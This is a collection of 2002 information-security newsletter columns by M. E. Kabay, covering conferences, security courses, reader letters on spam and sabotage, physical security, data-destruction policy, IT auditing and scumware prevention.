should know when deploying wireless communications; policy and legal issues; analysis of competing standards; a practitioners' round table discussion of case studies; and a one-day workshop on implementation of secure wireless systems. For more details, go to < http://www.frallc.com/ > and click on "April/May Events."

* * *

On 2-4 April 2002 in Newport, RI, the National High Performance Computing and Communications Council is presenting its 16th Annual National Conference, "High-End Computing in an Insecure World." This joint meeting of the DoD, industry, university and federal agency communities has a three-day program packed with topics and speakers that will be particularly interesting to users of large-scale networks. See full details of the conference at < http://www.hpcc-usa.org/genconf.html >.

* * *

[Disclosure: I am the Program Chair of the e-ProtectIT conference; however, I have no involvement whatever in the other three conferences and my informational comments are not to be construed as endorsements.]

* * *

M. E. Kabay, PhD, CISSP is Associate Professor in the Department of Computer Information Systems at Norwich University in Northfield, VT. Mich can be reached by e-mail at < mkabay@compuserve.com >. He invites inquiries about his information security and operations management courses and consulting services. Visit his Web site at < http://www.mekabay.com/index.htm > for papers and course materials on information technology, security and management.

Two Introductory INFOSEC Courses

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

My friend and colleague David Kennedy, Chief Curmudgeon at ICSA Labs (and Director of Research there) recently forwarded news of an interesting new resource for teaching and learning information security.

Wanja Eric Naef < w.naef@iwar.org.uk > has announced that Mark Burgess, associate professor in the Faculty of Engineering at University College Oslo, Norway kindly gave him permission to mirror his introductory INFOSEC course at < http://www.iwar.org.uk/comsec/resources/security-lecture/index.html >. The 14 lectures are available in English as well as in Norwegian:

1 What is security?
2 Trust and Risk Analysis
3 Basic Information Security
4 Identity & Authentication
5 Protocols & Data Integrity
6 Access control
7 Security models
8 Object orientation
9 Software security I
10 Software security II
11 Encryption
12 Intrusion detection
13 Internet security
14 Site security summary

I have read a few of these lectures and find them refreshing and enjoyable. They will provide a good resource for beginners interested in a painless and interesting introduction to the field. Prof. Burgess also has some good background links at the bottom of the page that lists the lecture titles.

While I'm on the subject of course material, I invite readers to visit my Web site to pick up ideas from my own courses, which are freely available for anyone to use for non-commercial purposes. Just follow the COURSES link from my home page at < http://www.mekabay.com/index.htm >. In the section labeled "INDUSTRY" you'll find some notes on some keynote speeches, a list of resources for security educators, the INFOSEC UPDATE course from March 2001, and a review of cybercrimes. In the Norwich courses section at < http://www.mekabay.com/courses/academic/norwich/index.htm > I have the lecture notes for the Cybercrime and the Information Security Assurance courses I taught in the fall semester of 2001. Most of these notes are available as HTML and also as printable Acrobat PDF files. I hope readers will find them useful in preparing their own courses for colleagues or for other students. Corrections and suggestions for improvement are always gratefully received.

Another Albert the Saboteur

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

The article on sabotage published a few months ago < http://www.nwfusion.com/newsletters/sec/2001/01142925.html > generated some interesting comments. One writer was offended by my article. He wrote, "

* * *

In contrast, another supplied a case study that corroborates the points made in the original analysis:

I read your article with interest because it reminded me of a case I investigated about 5 years ago, although there was a different motive for the incident. An employee of an IT company had very high standing with the management because the system he worked on crashed on several occasions during the night shift. Each time it happened the operator would work extended hours to help recover the data Apart from the overtime he was also receiving awards from his company to compensate for the loss of personal time. My company was called in because the customer wanted compensation for lost revenue, down time etc.. The Engineers could not find a problem and my Security Investigation group was called in, after analyzing the situation I decided to install a covert camera . Within 3 days of installing the camera the operative was filmed disconnecting various cables waiting for the system to crash and reconnecting.

He said that the monetary compensation was not why he initially did it, he too worked alone on the night shift and felt he was not being noticed and he devised a plan to bring himself into focus with management. The more kudos he gained the more he felt he had to do it, he also started to enjoy the financial compensation he was receiving.

Graduate Programs in Information Assurance

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

Dear Readers, I need your help.

At Norwich University, we are developing a new program and we need your input to make it a success. Last summer Norwich University launched a 100% on-line MBA program that has quickly become a success and resource; the program provides participants from around the world with a valuable master's degree in a structured 18 month sequence that is tailored to fit the busy schedules of today's professional.

I have been named program director for the new MSIA -- the Master of Science degree in Information Assurance -- that will follow the model of the MBIA. My colleagues and I need your help in providing answers to a brief market survey about your interest in such a program for yourself or for your employees. When you go to < http://msia.nucdc.org/survey > you will find a description of the program and a survey form that should take about 10 minutes to fill out. Your contribution to our efforts will go a long way towards helping us and our University colleagues to establish the viability of this program.

While I'm on the subject of graduate degrees in security, I should mention that my overview of information security resources for educators at < http://www.mekabay.com/overviews/infosec_ed.htm > has a list of academic institutions in the US, Canada and elsewhere that offer BSc, MSc and PhD programs in information security. If there are academics or graduates who notice that their institutions and programs are not listed there, I'd appreciate notification and a URL so that I can update the list.

In any case, many of you have written very nice notes to me over these last two years telling me that you enjoy this series of short articles. If you feel like expressing your feelings about this column, you will do me a great deal of good simply by filling out the MSIA survey. In addition, I welcome communications about the program and will forward your requests for notification of the formal start of recruitment to the appropriate people at the University.

I look forward to hearing from you.

technology, security and management.

Profiles in CORA:
Web-Enabled Risk Analysis

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

My good friend and colleague Robert V. Jacobson recently announced the release of his time-tested Cost-of-Risk Analysis (CORA) tool in a Web-based format. CORA-Web prioritizes the risk exposures of a facility and identifies the most cost-effective mitigation strategy to make best use of available resources. In the process, it builds a solid business case for risk management recommendations. CORA-Web fully supports the Business Impact Analysis process defined in the draft NIST Special Publication 800-34, "Contingency Planning Guide for Information Technology Systems" < http://csrc.nist.gov/publications/drafts/ITcontingency-planning-guideline.pdf >.

A recent Deloitte & Touche study of e-businesses < http://www.isaca.org/ecomm.htm > disclosed that no respondents were using risk analysis tools to guide risk management decisions. "This is easy to understand," said William H. Murray, senior researcher on the study, "because until recently there have been no efficient, realistic tools. On the other hand, these are decisions where the use of intuition can result in very expensive error. An efficient tool can easily cover its own cost."

F. Lynn McNulty < http://www.safersite.com/Company/McNulty.asp >, head of security consultants McNulty and Associates and a former Associate Director for Computer Security National Institute of Standards and Technology, US Department of Commerce as well as the Director of Government Affairs for RSA Security from January 1997 to December 2000, said, "I have found that CORA and its predecessor IST products to be powerful analytical tools for understanding security issues, and managing risks." While serving as director of information systems security the Federal Aviation Administration, McNulty used these tools to analyze an Air Route Traffic Control Center. "This was the first quantitative risk analysis of an ARTCC. CORA makes it easy for an enterprise to quantify and manage all of its risks, and CORA-Web will make it easy for a team to collaborate on a project."

According to Jacobson, open-end questionnaires have limitations that are overcome by CORA-Web's quantitative model of risk, which focuses attention on the specific details of the risk environment needed to make prudent management decisions. Each user defines exactly which risk factors to include in a risk analysis, and employs the results to evaluate the cost/performance of a full range of risk mitigation, risk transfer, and risk recovery measures.

The application service provider Dynamic Access Systems is hosting CORA-Web. Alan Duncan, CEO, said, "As an ASP, we put great emphasis on risk management to ensure that we achieve the service levels that our clients expect of us. CORA makes it easy to analyze our risks, particularly threats that can cause service interruptions, and to choose the optimum risk mitigation strategies. The CORA analysis of the DynAccSys ASP systems has made a very strong contribution to our marketing and sales promotion."

For more information about CORA and CORA-Web, see Jacobson's Web site at <

http://www.ist-usa.com/ >.

* * *

Disclaimer: I have no financial interest whatever in CORA or in International Security Technology, Inc. Because I have not yet evaluated the software, this column should not be construed as an endorsement.

Readers Write About Spam (1)

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

The story of how I was blackballed by a system administrator because a spammer sent a nastygram falsely accusing _me_ of spamming generated quite a flurry of e-mail comments, all of them very encouraging and supportive. Several contributed additional information that readers may find interesting.

* * *

Jeff Anderson, President of ACI International Inc. < http://www.aciconnect.com > wrote,

"You hit a subject that we have recently encountered.

We maintain a mailing list of customers and potential customers who might be interested in our PC-based digital-video surveillance and control systems. Most of the addresses in the list have been collected from responses to advertisements, or from e-mails sent to us. We try very hard to qualify every address prior to including it, since it would be plain stupid to bother sending news and information to people who have zero interest in security. We send a newsletter about once a week or so, and honor all remove requests. There is a note in every e-mail offering to remove anyone who writes back and requests removal.

Last week we sent an e-mail newsletter and received five remove requests. Two of them were very interesting indeed. They both were similar in tone, beginning with the words

`<Expletive> YOU, SPAMMER <expletive>, take my name off of your list NOW you scum.'

Here's the interesting part...BOTH of those emails came from suppliers with whom we had intended to place orders. One of them had just quoted a substantial order to us and we had received approval from the customer to go ahead and place the order.

The other supplier had contacted us and was courting us, hoping that we would do business with them. We were considering it until we discovered how they really behave.

One other thing we have encountered. It seems that a large number of people set up email aliases and have mail redirected from other accounts, then they forget that they have set this arrangement up. As a result, they write to us from ABC@somecompany.com and we discover that we have no addresses for them under the domain somecompany.com. As a result, we find it impossible to remove them.

Interesting how people behave in e-mail in a different manner than they would in person."

* * *

Reader Kirk Talbot noted, “Years ago I had a friend in telephone direct marketing and they had to have a system in place to recognize people and numbers that had requested not to be

contacted. I'd be afraid of such a system on the internet because I believe it would only be used as a source for e-mail addresses. I managed to go from about ten junk letters a week to 30+ a day by sending complaints to providers from which I had received spam. Nonetheless, I have to disagree with you: with spam I think you have to shoot first and then correct the few mistakes you might make. . . . Why don't I see options on preventing mass mailings or lists in sendmail? If junk e-mailers were only able to send 10-100 e-mails out from an account at a time, there would be a lot less spam."

* * *

[M. E. Kabay adds:] CompuServe limits every message to a maximum of 50 recipients, thus requiring manual intervention to reach more people with a message. It's a bit of a nuisance when I need to reach several hundred people, but I have never complained about the few extra minutes required because this limitation severely limits the usability of CompuServe for outgoing spam. On another tack, if ISPs were able or willing to check e-mail headers for forgery, most spam would disappear. In my experience, almost all junk e-mail uses falsified headers. Now mind you, checking every single e-mail header by verifying the correspondence between numerical IP addresses recorded by SMTP and the written-out domain names would likely put an enormous load on the WHOIS services of domain registrars -- but how satisfying it would be to count the numbers of junk messages disappearing into bit-buckets worldwide! Perhaps the usefulness of filtering out forged e-mail would justify mirroring the registration databases locally with updates sent as required instead of having to perform network-mediated lookups.

ISP and Domain Registrar network managers -- any comments on these ideas for making spamming more difficult?

Readers Write About Spam (2)

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

The story of how I was blackballed by a system administrator because a spammer sent a nastygram falsely accusing _me_ of spamming generated quite a flurry of e-mail comments, all of them very encouraging and supportive. Several writers contributed additional information that readers may find interesting. This is the second of two columns on this subject.

* * *

John Taylor, a network solutions consultant, wrote, "I read your article (in Network World's 02/21/02 newsletter) with great interest. Another related subject (at least indirectly) is the phenomenon of 'once tainted, always dirty' when it comes to "open relay" reports. ORBZ (particularly, but not exclusively) seems to carry a grudge forever against providers who have once been tarred with the open relay brush, and it must be nearly impossible -- or at least not worth the trouble -- for the providers to get the scarlet letter removed.

Then, as companies and networks tighten their security firewalls, if they use ORBZ or similar services they must take, on faith alone, the validity of the database of bad actors that such services provide. If the situation is never corrected -- and often it is not -- it usually falls on the receiver to enter exceptions for specific addresses, or to make other accommodations.

This all seems to me to be placing a needless burden on the source and destination entities, while totally ignoring the true bottleneck in between, probably because it is so difficult to effect a remedy.

Just for the record, I believe the only solution to spam lies in individual action. For small-scale nuisances, the 'delete' key works nicely. For repetitive aggravations, mail filters are helpful. Granted, there are some bad actors out there, but all in all I prefer the individual bad actors to those bureaucratic entities that would regulate me from afar."

* * *

Gord Belsey of The Amador Group in Canada told of an e-mail storm caused by spam:

"I had an interesting experience recently with spam. I received spam advertisement, which had been sent to a mailing list that included my e-mail address. The e-mail had the same list set as the reply-to address. Moments later, the spammer sent a message infected by an e-mail virus, which of course was shared with the entire list. In the next few minutes there was a flurry of e-mails from mail servers all over the planet responding with a "your e-mail contains a virus" message. Because of the reply-to address, these messages were sent to the entire list. Next came the flurry of angry responses. Over and over again, people replied with nasty responses (most of them fully signed with name, title, company and so on) which of course were also sent to the entire list of recipients. This was followed by a flurry of nasty responses to the nasty responses. It was getting ridiculous, so I finally sent a quick news flash to the mail list. I pointed out that responses went to the entire list rather than the spammer, and that all the nasty things being said

in the response was read by millions (inaccurate, but made my point) of innocent people who were likewise spammed. The noise finally subsided, but not before some joker responded to list by advertising his own services for specific products! No kidding! I sent an offline e-mail pointing out that he, too, was spamming. A quick e-mail argument ensued. Anyway, in the end his ISP convinced him that he was in fact a spammer. He ended the last e-mail with an apology and a `hope we can do business' sign off. Ever the salesman, huh?"

Physical Security Nightmares

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

It's always a pleasure to receive thoughtful and stimulating e-mail from readers of this newsletters. Recently, I received a heartfelt appeal from a physical security expert to network and other computer system administrators. Jeff Anderson, President of ACI International Inc. < http://www.aciconnect.com > wrote the following essay that I believe will interest readers. Mr Anderson's company specializes in PC-based video surveillance systems.

* * *

As I read your newsletters, I feel that the subject of physical security is not being addressed adequately, especially in light of 9-11. I have spent decades serving the security needs of our clients around the world, and I can tell you point blank that the tightest firewall, intrusion detection system, or password protection scheme is useless if an intruder (or employee) can gain physical access to vital systems unchallenged. Let me give you an example or two.

I recently visited an office of a large multinational organization where I was asked to review their physical security. On arrival, I merely mentioned the name of the person I was coming to visit and signed a guest registry. I was not asked for identification documents. At that point I was given access to a conference room where I was asked to wait alone for the individual with whom I was to meet. Across the open-plan office I could see a large computer room. I could have easily strolled across the office and entered the computer room even though I was an outsider -- a complete stranger.

On another occasion I was invited onto a high-security facility and was required to produce my security clearances before being permitted entry. In spite of my long held military level security clearance, I was issued an "escorts only" pass, which allowed me entry to the facility, but only as long as someone in authority stayed with me. I spent two days there. On the first day, I was escorted everywhere -- even to the restroom. I was given a desk from which to work and each time I had to leave that desk an escort came along with me. No problem. However, on the second day, the escort rules seemed to have softened considerably; for example, I visited the restroom unescorted. Later that day, I was escorted into a secured computer room where I was asked to look at a particular computer. Shortly after I arrived in the room, my escort was distracted by an urgent cell phone call and left the room. I was left sitting in a computer room surrounded by computers presumably containing sensitive material and there was no one there but me. There were no surveillance cameras in that room. I had 15 minutes to myself in there. After 15 minutes, two gentlemen came in, said hello, and sat down at computers and started typing. I was wearing my "escorted only" pass on my lapel but no one noticed. My "escort" returned five minutes later.

I can't even begin to count the number of times that I have been in a facility with card access control heavily deployed and had someone hand me their access control card so that I could go into the next room and place a call, or visit the restroom, or go grab a coffee.

Another problem I encounter is people in the physical security industry who don't know much about computers. For example, as you may know, we manufacture a PC based security control system. We recently received a call from a security professional who had encountered one of our systems in the field and didn't know how to use it. When the customer asked him how to perform a simple function in software, rather than admitting that he did not know, rather than opening the manuals and reading, rather than consulting the help files, he simply started randomly pressing every key on the keyboard, eventually causing the system to do something unwanted. He called us at that point to tell us that our products don't work. I wish I could call this an isolated incident. I can't.

In summary, it seems to me that

* Physical security is not being addressed adequately in today's world.

* Too many security system installation companies are not computer literate (they are not part of the solution, they are part of the problem).

* * *

My thanks to Mr Anderson for the comments printed above and for his permission to quote him verbatim.

Readers may want to review the series of 20 articles on physical security originally published in this newsletter in the year 2000 and freely available in the archives at < http://www.nwfusion.com/newsletters/sec/ >. In addition, my colleague Franklin Platt has prepared two magisterial chapters on physical security for the soon-to-be-published _Computer Security Handbook, 4th Edition_ edited by Seymour Bosworth and myself. The 1200-page text is due in bookshops in early April; the cover is visible on AMAZON.COM by searching on "Bosworth Kabay" (without the quotation marks).

Security at NetWorld+Interop

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

John Gallant, the President and Editorial Director of Network World, has asked me to pass on a special request for suggestions. He's going to be running a special session at NetWorld+Interop < http://www.key3media.com/interop/lv2002/index.php > and wants ideas on particular questions you, our readers, would like him to ask a panel of security experts. Here's John's invitation.

* * *

Many of you already plan to attend the NetWorld+Interop conference in Las Vegas May 5-10, 2002, but if you're on the fence about going I [John Gallant] hope this convinces you to head out to sun city.

With the help of the show's organizers, I've pulled together a special plenary session on security - a topic that has rocketed to the top of the list of "things that keep me up at night". We've got an all-start group of speakers who will explore the most dangerous threats to our networks, the new tools that will help us deal with those threats, as well as the issues that will shape security for the future.

The session is called: Cyberland Defense: Rethinking Network Security for a Dangerous World. It will be held on Wednesday, May 8 beginning at 5pm.

Joining me up on stage will be:

- Robert Thomas, CEO of NetScreen Technologies, which provides high-performance firewall and virtual private network systems.

- Sandra England, executive vice president for business development and strategic research with Network Associates, one of the biggest names in security.

- Christopher Klaus, founder and chief technology officer for Internet Security Systems, which is well known for its intrusion detection and response technologies.

- Henry Fiallo, CEO of Enterasys, which has made security a key facet of its infrastructure strategy.

- Keith Rhodes, chief technologist for the U.S. General Accounting Office. Rhodes has brought his deep security expertise to bear on a variety of efforts within the federal government.

Our focus will be on defining where our public and private networks are most vulnerable, and to explore what corporations and government agencies need to do to shore up these critical infrastructure resources. We'll also be discussing some innovative new technologies that could - maybe - finally help us get ahead of the thugs, crooks, nuts and others who want to disrupt our e-business and personal communications.

This session builds upon the special Webcast we conducted in March, featuring Howard Schmidt, the government's top infrastructure protection guru. You can view that Webcast by clicking on < www.nwfusion.com/media/webcast/index.html >.

I could use your help to make this N+I session a success. What questions do you want me to ask these experts? Which issues are most pressing for you? Please drop me a note at < mailto:jgallant@nww.com > with your ideas and thoughts. I'll try to ensure that they get answered.

Thanks, and I hope to see you there.

Implementing New Guidelines for Data Destruction

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

With the popular and technical press reporting extensively on the Enron scandal, where data destruction is playing an important role in the interpretation of how Enron's accountants behaved, it is not surprising that many organizations are reconsidering their own data retention and data destruction policies. A colleague submitted the following (edited) question received from a client:

"We are seeking your advice on the issue of how we destroy records. We're currently working with various vendors on proposals and if shredding is determined to be a corporate policy, then a company-wide policy would be needed to achieve the best price. It would also determine the vendors we could deal with, since we might want a single vendor to support all regions. The paper-recycling companies won't take responsibility for confidentiality of our data, since information security is not part of their business. In contrast, shredding companies will pick up discarded materials from locked cabinets and even transport materials in a locked truck if necessary; they accept responsibility for our information from beginning to end. Can we legitimately shift the liability and responsibility to a third party through the contract? Can you provide us with any industry standards on handling destruction and what companies are doing in light of the Enron issue or because of the growing emphasis on privacy? If the expectation is that shredding will become a preferred method for destroying customer information then we should push to clean things up in 2002 and budget for costs expected in 2003, when we would start shredding lots of materials."

* * *

First, a mandatory disclaimer: I am not a lawyer and this is not legal advice. For legal advice, consult an attorney with expertise in this area of law.

Before engaging in any new data destruction, your client would do well to consult corporate counsel to establish the legal requirements that contribute to determining appropriate data retention policies. Different classes of data will have different retention periods mandated by law, regulations, or business requirements such as due diligence investigations preceding mergers and acquisitions.

The idea of using a single contract for all sites is appealing: it ties into the principle that policies should be applied as uniformly as possible (with due allowance for special cases). For example, in a court of law, it would be tedious and even embarrassing to have to detail the precise data retention and data destruction policies for a dozen locations, each of which had significant but largely unwarranted variations in their practices.

As your client writes, specialized shredding companies do indeed accept responsibility for documents _once they have control_ over the paper or other media; however, they cannot take responsibility for what is done to data _before_ they are discarded. Since employees have by far the largest opportunity for data destruction, mis-filing, or theft, your organization will naturally

keep the largest responsibility for data confidentiality and face the greatest liability for compromise of confidential data – not to speak of losses incurred through data scavenging by industrial spies or criminal hackers. Remember that it will take time to train employees to use special lock boxes to discard confidential documents; many will, at first, continue unconsciously to throw sensitive documents in ordinary trash or to place them carefully in ordinary unprotected recycling bins.

Any change in policies on data destruction should be closely coordinated with the information technology group to be sure that backups and archives are included in the analysis. Electronic or optical archives of documents, including e-mail -- and including backups -- are a rich source of data mining during the legal discovery process. In addition, your client should examine the distribution of documents it wishes to destroy but which reside on employees' desktop, laptop or even personal home computers. Unfortunately, many users have no idea that copying company information onto their home computers poses a security risk; in addition, many novices store documents higgledy-piggledy in a single folder (e.g., "My Documents") with no subfolders, with filenames such as "Document.doc" and with empty property sheets that convey nothing about the subject matter or provenance of the documents. Finding and extirpating all copies of documents that ought to be destroyed may be much harder than it seems at first glance.

As for starting to shred documents on a large scale, there are some public-relations issues as well as legal issues to consider. Before engaging in any new data destruction, I would ensure that the IT and documents staff consult the corporate counsel to be sure that there are no legal proceedings anticipated. It would be embarrassing to have public disclosure of widespread data destruction, even though perfectly legal, just before a court-ordered discovery were due to start. That was precisely what happened in the Enron case before the court orders were served.

It will be critically important to ensure that nothing is destroyed that is in fact clearly useful or needed. In their enthusiasm for getting rid of superfluous materials, it is quite likely that some employees will go overboard and destroy documents that the organization actually wants to keep available. This risk is especially serious when people start the perhaps unfamiliar process of destroying magnetic or optical media. Many users have a lamentable habit of not labeling their diskettes, cartridges, tapes and CD-ROMs or worse, reusing materials with an old and incorrect label. If employees start throwing out these storage media without accurately evaluating the importance of the information carried on these devices, the organization may suffer irretrievable losses.

Organizations should lay out clearly understandable, unambiguous standards for electronic data destruction. It should be possible to go through a checklist that leads a user to a firm conviction that destroying a particular dataset is completely appropriate, completely inappropriate, or questionable. The questionable cases should be discussed with a supervisor. The unambiguous decisions should be documented so that the organization has a permanent record of what was destroyed in the cleanup. Now, excessive detail might defeat the purpose of the data destruction, so the data management guidelines should include examples of suitable notations for tracking the data destruction. The subject of dealing with criminal behavior is outside the scope of this response, but at the very least, management should make it clear in its policies that destroying data indicating criminal activity is _not_ a legitimate process and that the organization's policies explicitly forbid cover-ups of any such criminality. In a well-run organization, any employee who has reason to suspect criminal behavior by colleagues and who is nervous about reporting such evidence within the chain of responsibility should be _encouraged_ to contact law-

enforcement organizations for help.

Safe and Sound:
A Treatise on Internet Security

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In November 2001, RBC Capital markets published a valuable study of the information security industry. Available free at < http://www.rbcdrw.com/security >, by filling out a form, the 212 page report called "Safe and Sound: A Treatise on Internet Security," was written by Stephen H. Sigmond, Managing Director, and Vikram Kaura, Senior Associate. It is filled with valuable information, graphs, tables and insights into the state of information assurance. At Norwich University, we have found it invaluable in helping us evaluate the business case for our proposed online Master of Science in Information Assurance (MSIA) program that we expect to start in September 2002.

The report opens with an industry overview which describes expectations from the information security infrastructure; IP networks and fundamental security frameworks; the security mosaic; the mission-critical nature of security solutions; current spending levels; and security solutions as mechanisms for return on investment and revenue generation.

The next section looks at market segmentation and growth outlook . The authors detail the market for security solutions, including anti-virus software, encryption software, firewall software/firewall appliances, and VPN software and appliances. They break down authentication solutions into PKI software and services and non-PKI solutions, then look at authorization software, intrusion detection software and appliances, vulnerability assessment, Internet access control, content security and managed security services.

The section on industry trends includes the following topics:
* Industry consolidation will accelerate
* Security appliances are multiplying
* VPNs will spread everywhere
* Application-layer security comes of age
* B2B applications and Web services broaden the scope of security
* The age of distributed denial of service attacks (DDoS) .
* Managed security services: a sustainable trend or a passing fad?
* E-mail and instant messaging: popular, not private
* Convergence of security and network management
* Morphing of authorization and provisioning solutions
* Data privacy concerns -- ready for primetime
* Securing mobile commerce: new challenges and opportunities
* Toward centralized policy management.

A particular interesting section is called "The hacker factor" and discusses the varieties of criminal hackers, including inside attackers. It reviews rootkits and remote administration Trojans and looks at trends in criminal law and the possibilities of using insurance as a means of covering losses caused by criminal hackers.

The report then move on to a well-written and lavishly illustrated technology overview that will help all of us in the field understand and explain the basic concepts of information assurance to our colleagues. I suspect that there will be many a course that will borrow illustrations and definitions from this report – I only hope that the authors will receive the credit they deserve when their material is borrowed.

Finally, "Safe and Sound" ends with a review of public and privately-held companies in the security field.

Congratulations to Mssrs Sigmond and Kaura and their support team for a job well done.

Starting a New Job as IT Auditor

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

A reader recently wrote to me as follows: "Just today I accepted a job offer. This organization has no information technology (IT) audit presence currently and it will be a challenge for me." He then posed a series of interesting questions.

> How do you go into an IT department and formulate policies, procedures and/or standards (or which ever comes before the other). <

Asking about formulating policies, standards and procedures strikes me as unusual for an IT auditor. Auditors do not normally promulgate policy; they normally verify compliance with policy. That said, I think an essential phase in any such work is to avoid walking into the IT department like a gunslinger ready to tell everyone what to do. Anyone thinking about creating or modifying policies needs upper-management support before trying to do anything else at the policy level.

Next, my practice is to investigate the current situation carefully and respectfully. Talk to key managers and employees about the current state of controls. Listen more than you talk; take detailed notes as people are speaking. Because I type quickly, I prefer to display what I am writing using a projector in real time; participants can see exactly what I'm noting and can make corrections and additions at once to keep me on track. In addition, give or send your interlocutors a copy of what you have written before you leave them or as soon as possible. You want to be sure that the effort is seen as a collaboration, not as a punitive raid.

Be sure to include non-IT departments. In addition to production departments, you must consult the human resources, records management, legal , public relations and facilities departments. All of these experts have unique and important contributions to the developing picture of how information is managed and protected in your institution.

In addition to speaking with individuals, you can also use focus groups and surveys to gather information about how information and IT resources are currently managed. Be sure to solicit areas of concern and to provide for anonymity if necessary.

Using the initial findings, you can apply techniques such as Computer-Aided Thematic Analysis (TM) (see my paper listed at < http://www.mekabay.com/methodology/index.htm > to sort through and organize the masses of information you have collected. Present a preliminary report to the members of the IT department and ask for comments and suggestions. Present your findings in one-on-one meetings, not by convening a group and slamming them with a book full of perhaps critical findings. Indeed, whenever possible, you should avoid presenting new information and proposals to any group of people all at once -- the interpersonal conflicts and positional rivalries among committee members often obscure the value of your work and lead people to object to proposals for political reasons rather than substance.

As for how to promulgate information protection policies, I always recommend that clients use

existing templates as a starting point to save a lot of time. Two particularly helpful documents are

Wood, C. C. (2001). *Information Security Policies Made Easy: A Comprehensive Set of Information Security Policies. Version 8.* Pentasafe Security Technologies (Houston, TX). ISBN 1-881-58507-7. Includes CD-ROM for complete access to text. < http://www.baselinesoft.com/ispme.html >

Peltier, T. R. (1998). *Information Security Policies and Procedures: A Practitioner's Reference.* Auerbach Publications (Boca Raton, FL). ISBN 0-849-39996-3. 250 pp, CD-ROM.

> How does one provide assurance that network and other significant systems are operating as intended by management? <

> How does one provide assurance that system controls are in place and are effectively and efficiently protecting corporate assets? <

> How does one assure that regulatory requirements relevant to related to systems operations are being complied with? <

> How does one provide assurance that corporate policies on information systems promoting the well being of the company are clear and concise and are enforced?" <

Answering these questions in significant detail is impossible in the format of this column. I will take an easy way out by pointing to the newly-published _Computer Security Handbook, 4th Edition_ from Wiley (ordering information is at the end of this article). Sy Bosworth and I worked for two years as editors of this new edition, and we're proud of the work of our contributors. Chapter 28 covers security policy guidelines; chapters 31 through 33 cover employment practices and policies, operations security and production controls, and e-mail and Internet usage policies. Chapter 35 summarizes material on social psychology and information security policy implementation that readers may have seen in this series of columns over a year ago. Chapter 36 specifically addresses the computer systems security audit process. Chapter 37 reviews vulnerability assessment and intrusion detection; chapter 38 covers monitoring and control systems; and chapter 39 looks at application controls. Chapter 45 is a summary of management roles and responsibility in information protection and chapter 46 looks at practical guidelines for developing security policies. Finally, with regards to your questions, chapters 2, 27, and 52 address questions of law and standards that must be considered in promulgating and implementing effective information assurance plans.

More about the _Handbook_ in another column later.

Scumware (1):
What is Scumware?

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In recent years, a new way of abusing computer users has spread like a disease through the Web: scumware. In this short series of articles, I will describe the functions of scumware; examples of software labeled by this unappealing term; legal issues raised by scumware; and defenses against scumware.

* * *

Scumware is any software that significantly changes the appearance and functions of Web pages without permission of Webmasters or copyright holders. For example, a number of products overlay banner advertisements with other ads, sometimes for competing products. Scumware may add unauthorized hyperlinks to a user's view of a Web page – sometimes using links to possibly objectionable sites. Such programs can interfere with existing hyperlinks by adding other destinations to the intended target. In addition, some products install themselves without warning users of these functions; others bury the details of their Web-page modifications in the extensive legalise of end-user license agreements. Some scumware is difficult or impossible to control; for example, the programs are difficult to uninstall, introduce instability into the operating system, and conflict with other applications.

Scumware is sometimes known as thiefware.

One of the best-known instances of scumware was better documented than most: the Microsoft XP Smart Tags "feature" was announced as an improvement for MS-Office products. Using Smart Tags, specific words in lists could have pop-up menus; these menus could offer options for useful functions such as choosing the style of pasting wanted for text (e.g., formatted, unformatted and so on). Smart Tags were also planned for the MS Internet Explorer (IE) v6 Web browser; however, many critics argued that the way Smart Tags were to be implemented, there would be an opportunity to hijack Web content by showing extra hyperlinks. These extra links would direct users to MS-related sites or to sites which had bought space in the Smart Tag space. There were waves of outrage all over the industry and MS withdrew its proposal for Smart Tags in IE.

Scumware (5):
Prevention and Removal

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In the first four articles of this series, we have been looking at the problems raised by scumware – software that makes unauthorized changes to Web pages and other documents. In this, the last of the series, I will summarize measures for preventing and removing infestations of scumware.

First, you must decide if you approve of having advertisements and hyperlinks inserted into the views of Web pages that appear on your screen. If you do, there's no problem and you can stop reading this column.

For those who don't like the idea of extraneous links and ads, the most obvious measure for preventing infestation is not to install scumware at all. Unfortunately, this is not as easy as one would like. As we have seen in previous articles, scumware can infest other software and be installed with little or no notice to the user. Nonetheless, before installing freeware, shareware, or adware (products that offer services in return for sending the user targeted ads), everyone would do well to read about the product using an Internet search engine such as Google.

Check the lists of known scumware at Scumware*Links < http://www.freegraphics.com/zz-scumware/ > to see if the product you are thinking of installing is a known offender. Without gritting your teeth too hard, read the end-user license agreement (EULA). Look for language, no matter how convoluted or how tiny the point size, that indicates that the product is likely to add to or modify the appearance of Web pages you download. In addition, look for language that threatens to delete or inhibit any of your _other_ programs. As I was completing this article, Declan McCullagh's admirable PoliTech list published a fascinating glimpse of the mindset of some adware makers. The RadLight adware product comes with a EULA that reads in part, "You are not allowed to use any third party program (e.g Ad-aware) to uninstall application bundled with RadLight. Such programs will be removed." See http://www.politechbot.com/p-03439.html for details.

While you are installing _any_ software, from no matter what source, always keep your firewall active if at all possible. Be sure to configure your firewall to alert you to any attempt to contact an external address from inside your system; although such attempts may occasionally be necessary (e.g., for updates to critical components), in many cases they can be blocked safely. You can always study the issue more closely if necessary by examining the TCP address of the target and doing a reverse IP-block lookup to find out where the critter is trying to connect. Once you know the name of the registrant and the Domain Name System entry for the target, block the transmission without hesitation if you don't know why a module on your system is trying to communicate with a site you know nothing about. You can always reverse your decision later if you determine that the connection is in your interest.

